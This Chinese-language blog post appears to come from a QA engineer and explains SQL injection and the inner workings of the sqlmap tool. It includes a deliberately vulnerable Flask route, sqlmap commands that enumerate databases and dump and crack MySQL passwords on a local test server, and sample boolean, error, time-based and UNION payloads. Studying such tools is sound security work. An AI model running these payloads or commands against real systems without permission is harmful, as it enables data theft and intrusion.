时隔了好好好几个月。。。继上次文章 初探 Sqlmap(一)中立下的 Flag:下一篇出 sqlmap 原理相关的介绍😂😂,由于各种原因。。。今天才终于完成了┑( ̄。。 ̄)┍ 。。不多说了。。。
指在程序的输入数据中添加额外的 SQL 语句。就好比有一个登录输入框,在输入帐号的的输入框中,输入了 'arvin' or 1=1
,对应到数据库层面,sql 语句可能就如下实例:
# 正常的sql语句
select * from table_name where user_name = "arvin";
# 如果上述的输入框输入没有拦截,语句就变成了如下形式,多了额外的"or 1=1" 到查询的语句中就是sql注入了。
select * from table_name where name="arvin" or 1=1;
由于程序对 用户输入数据的合法性没有判断或过滤不严,攻击者可以在程序中事先定义好的 查询语句的结尾上添加额外的 SQL 语句。
# python中一种存在SQL注入的sql写法, 由于没有对传入的参数 name 进行任何的校验,并且是简单的动态拼接查询语句,导致可以进行SQL注入。
@app.route('/print_bad_sql', methods=['GET'])
def get_user_info():
name = request.args.get("name")
sql = "select * from table_name where name=%s" % name
...
# 通过如下代码, 则可以构造出一条布尔类型的SQL注入语句
# http://127.0.0.1:5000/print_bad_sql?name=%22arvin%22%20or%201=1
可以在管理员不知情的情况下,实现欺骗 数据库服务器 执行非授权的任意查询,从而进一步得到相应的数据信息。
# http://127.0.0.1:5000/bad_sql?id=1
# 由于不存在id为1的数据,所以正常情况下是没有任何数据返回的。
# http://127.0.0.1:5000/bad_sql?id=1%20or%201=1
# 但使用存在SQL注入语句的请求,返回了当前表下面的所有数据信息。
(1)SQL 注入点探测。
探测 SQL 注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在 SQL 注入点。通常只要 带有输入提交的动态网页,并且 动态网页访问数据库,就可能存在 SQL 注入漏洞。如果程序员信息安全意识不强,采用动态构造 SQL 语句访问数据库,并且对用户的输入未进行有效性验证,则存在 SQL 注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在 SQL 注入漏洞。
(2)收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入 “1 and version()>0”,程序返回正常,说明 version()
函数被数据库识别并执行,而 version()
函数是 MySQL
特有的函数,因此可以推断后台数据库为 MySQL。
(3)猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。通过构造特殊 SQL 语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。(疑问 3: 如何构造的特殊 SQL 语句,猜解出来表名、字段名以及密码等)
(4)查找 Web 后台管理入口。
(5)入侵和破坏。
一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵 Web 服务器和数据库服务器。
在介绍工具之前,可以本地搭建一个简单的 web 服务,需要依赖 Flask
、mysql
、python
等,请自行百度安装。
用命令行实际例子来演示一遍, 通过命令行来注入,并且获取对应的用户名和密码。(下面实例中的参数可以参考:参考链接)
# 查找注入点
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' --batch
# 查询有哪些数据库
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' --batch –level 3 –dbs
# 查询qa_tools_db/mysql数据库中有哪些表
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db –tables
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql –tables
# 查询qa_tools_db数据库中jira_infos表有哪些字段
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db -T jira_infos –columns
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql -T user –columns
# dump出mysql中user表的账号密码
python3.7 sqlmap.py -u "http://127.0.0.1:5000/bad_sql?id=111" --dbms="MySQL" –level 3 -D mysql -T user –passwords -U root -v 2 --batch
# 如果密码很简单的情况下, 直接使用sqlmap本身的命令即可破解。稍微复杂点的密码暂无法直接破解,有兴趣的可以深入研究
PS: 更详细的一些 SQL 注入基础原理可参考:SQL 注入基础,里面举了较多的注入实例。关于 Sqlmap 的命令行模式与 API 模式的区别以及优缺点,在 初探 Sqlmap(一) 中已经描述过,此处不再重复。
SqlmapAPI 的启动方式: python sqlmapapi.py -s -H "0.0.0.0" -p 8775
SqlmapAPI 的脚本主要核心流程如下图:
Sqlite3 数据库:SQLite 是一种嵌入式数据库,它的数据库是一个文件。
WSGI application:Web 服务器网关接口(Python Web Server Gateway Interface)
使用 API 模式进行 sql 注入测试时候,主要使用如下几个 API 接口(具体如何调用以及为什么要使用该方式可参考:细说 Sqlmap)
@get("/task/new") # 创建一个新的扫描任务
@post("/scan/<taskid>/start") # 指定任务进行扫描
@get("/scan/<taskid>/status") # 查看指定任务的状态
@get("/scan/<taskid>/data") # 查看指定任务的执行结果
@get("/scan/<taskid>/log") # 查看指定任务的扫描执行日志
此处仅介绍 /scan/<taskid>/start
,主要通过 DataStore.tasks[taskid].engine_start()
执行指定任务执行扫描。
def engine_start(self):
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
os.close(handle)
saveConfig(self.options, configFile)
if os.path.exists("sqlmap.py"):
self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
else:
self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
从上面的代码来看,最终默认还是使用的 sqlmap.py
脚本来进行的任务扫描。(可以通过打印出源代码中 configFile
的路径,来查看每次任务的配置参数是什么。)
dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()
# 如下输出
___
__H__
___ ___[(]_____ ___ ___ {1.5.1.28#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:23:26 /2021-06-03/
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions)
...
# 在👇这个方法中进行了需要执行的注入Sql构建。
init()
-> loadBoundaries()
-> loadPayloads()
# 构建sql注入的测试语句主要文件在data/xml/payloads下,
# 如:sqlmap/data/xml/payloads/boolean_blind.xml
-> parseXmlNode()
具体执行的 Sql 注入测试语句样式如下:
"""
Valid values:
1: Boolean-based blind SQL injection 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
2: Error-based queries SQL injection 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
3: Inline queries SQL injection 基于内联视图注入, 内联视图能够创建临时表,在处理某些查询情况时十分有用。
4: Stacked queries SQL injection 堆查询注入,可以同时执行多条语句的执行时的注入。
5: Time-based blind SQL injection 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
6: UNION query SQL injection 联合查询注入,可以使用union的情况下的注入;
"""
# 根据具体的用户传入的 level 和risk 来过滤哪些sql注入测试语句需要执行。
# 具体执行代码在 check.py 中进行执行 checkSqlInjection() 方法,部分代码如下:
...
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default) value
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
# 通过 heuristicCheckSqlInjection() 方法去判读是否存在Sql注入。
check = heuristicCheckSqlInjection(place, parameter)
# 如果结果返回如下内容则表示可能存在SQL注入, 因为参数已经走到了数据库层面。
pymysql.err.ProgrammingError: (1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'")()..\',.\' at line 1')
# Store here the details about boundaries and payload used to successfully inject
# 确认哪些test语句可以进行注入
injection = checkSqlInjection(place, parameter, value)
# sqlmap 找到注入后, 会进行如下操作将该URL的结果存储下来,避免反复的去扫描
# 进入到如下代码后,就基本存在注入了。
_saveToResultsFile()
_saveToHashDB()
_showInjections()
...
[16:12:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (4166=4166) THEN 111 ELSE (SELECT 6089 UNION SELECT 4520) END))
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=111 AND GTID_SUBSET(CONCAT(0x71786a7871,(SELECT (ELT(7147=7147,1))),0x7170706b71),7147)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 4332 FROM (SELECT(SLEEP(5)))smze)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: id=111 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7871,0x4f684663786f6472517771666249797478634379674964624f74656672796b42776e5172456c4573,0x7170706b71),NULL-- -
---
答疑 3: 如何构造的特殊 SQL 语句,猜解出来库名、表名、字段名以及密码等?
通过构建出 select schema_name from information_schema.schemata
语句,来获取所有的库信息。
# plugins/generic/databases.py getDbs() 其中部分核心代码如下:
conf.dumper.dbs(conf.dbmsHandler.getDbs())
# 构建的获取库名信息的sql语句
query = 'SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA'
# 获取到了具体的db信息
values = inject.getValue(query, blind=False, time=False)
# values 返回的结果大致如下
res:{
...
"version_end_time": null,
"version_start_time": "qqkbqinformation_schemaqvjpq"
},
value = parseUnionPage(output) # 将上面的结果解析出正确的db名称
# res: ['mysql', 'information_schema', 'performance_schema', 'sys']
# 如果已经获取出来了的情况下, 会直接存储在本地的sqlit3的表中。避免后续继续扫描。
def hashDBWrite(key, value, serialize=False)
# 如果未获取过, action中进行实际的注入来获取对应的数据, 比如:_oneShotUnionUse 中最终拼凑出的 query,直接可以查出对应的库信息。拼凑出来的sql注入语句如下:
'id=111 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627671,IFNULL(CAST(schema_name AS CHAR),0x20),0x716b717a71),NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -__PAYLOAD_DELIMITER__'
# 原理同库名的获取, 但是在db步骤后,这些数据都被写入到了本地的sqlit3中了, 所以基本都是直接通过如下方法获取到结果了。
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)
# 如果在密码很简单的情况下, 会通过撞hash猜出来,比如:为了演示,root的密码是123456, 则直接破解出来了, 但是其他的用户密码较复杂, 尝试了下稍微复杂点的都无法破解,如:abc123456。
# 主要破解的函数入口在 users.py 中
attackCachedUsersPasswords()
# 'sqlmap/data/txt/wordlist.tx_'
dictionaryAttack(kb.data.cachedUsersPasswords)
# 通过多进程进行密码的破解(看起来默认是通过自带的wordlist.tx_文件中的key一个个去猜每个字符。有兴趣的可自行研究,核心代码在hash.py中)
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
wordlist.tx_ 文件中的内容部分截取如下图:
如果存在破解成明文的密码, 则如下图中的 clear-text password
打印出来,否则打印出来的是加密的值。
通过此次总结,也算是把整个 Sqlmap 工具与公司业务结合在一起, 虽然通过扫描后还未发现任何问题(如果真的扫描出问题,那就是比较好的实践结果了~( ̄▽ ̄~)(~ ̄▽ ̄)~ ),整个过程也算是真正的把技术与工作的业务相结合, 过程中也是收获较多。